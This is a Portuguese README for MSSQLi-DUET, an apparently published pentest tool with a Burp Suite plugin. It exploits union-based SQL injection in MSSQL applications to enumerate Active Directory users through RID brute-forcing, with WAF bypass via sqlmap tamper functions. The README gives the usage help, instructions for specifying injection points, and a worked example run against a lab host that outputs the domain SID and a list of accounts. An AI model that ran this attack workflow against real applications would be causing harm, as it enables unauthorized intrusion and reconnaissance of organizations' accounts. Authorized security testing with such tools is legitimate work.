
Script de injeção SQL para MSSQL que extrai usuários de domínio de um ambiente Active Directory baseado em RID bruteforcing
Script de injeção SQL para MSSQL que extrai usuários de domínio de um ambiente Active Directory com base em força bruta de RID. Suporta várias formas de técnicas de bypass de WAF por meio da implementação de funções tamper do SQLmap. Funções tamper adicionais podem ser incorporadas pelo usuário dependendo da situação e do ambiente.
Vem em duas versões: script Python direto para uso no terminal, ou um plugin do Burp Suite para navegação simples por GUI.
Atualmente, suporta apenas injeção baseada em union no momento. Mais amostras e casos de teste são necessários para testar completamente a funcionalidade e precisão da ferramenta. Feedback e comentários são muito bem-vindos se você encontrar uma situação em que ela não funcione.
Personalizar o script e o plugin conforme suas necessidades também não deve ser muito difícil. Leia a seção de Notas para algumas soluções de problemas.
Após carregar o plugin no Burp Suite, clique com o botão direito em uma requisição e envie-a para MSSQLi-DUET. Mais detalhes sobre os parâmetros e similares são descritos abaixo.
A requisição será preenchida na janela de requisição, e apenas os campos acima dela precisam ser preenchidos. Após clicar em executar, a saída será colocada na caixa de resultados para fácil cópia e colagem.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
Após identificar uma injeção SQL baseada em union em uma aplicação, copie a requisição bruta do Burp Suite usando o recurso 'copy to file'.
Passe a requisição salva para o DUET com a flag -r. Especifique o parâmetro vulnerável e também o ponto de injeção. Como exemplo, se o parâmetro "element" for suscetível a injeção SQL, -p será "element". O DUET construirá todas as consultas de injeção SQL automaticamente, mas é necessário fornecer a especificação para a injeção inicial. Ou seja, se a injeção ocorre devido a um apóstrofo simples após os dados do parâmetro, isso é o que deve ser especificado para o argumento -i.
Ex: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
O script pode precisar ser modificado dependendo das limitações de cast e tipo das colunas que são descobertas. Isso inclui modificações para alterar a posição da coluna do payload e também modificar as próprias strings de consulta para considerar tipos de coluna que não gerarão erros.
Além disso, a lógica para determinar o número de colunas atualmente não é a melhor, e algumas comparações podem precisar ser comentadas para garantir que a determinação adequada ocorra.
No geral, basta dar uma olhada nas requisições sendo enviadas no Burp e personalizar o script conforme necessário para o ambiente de injeção SQL em que você se encontra.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/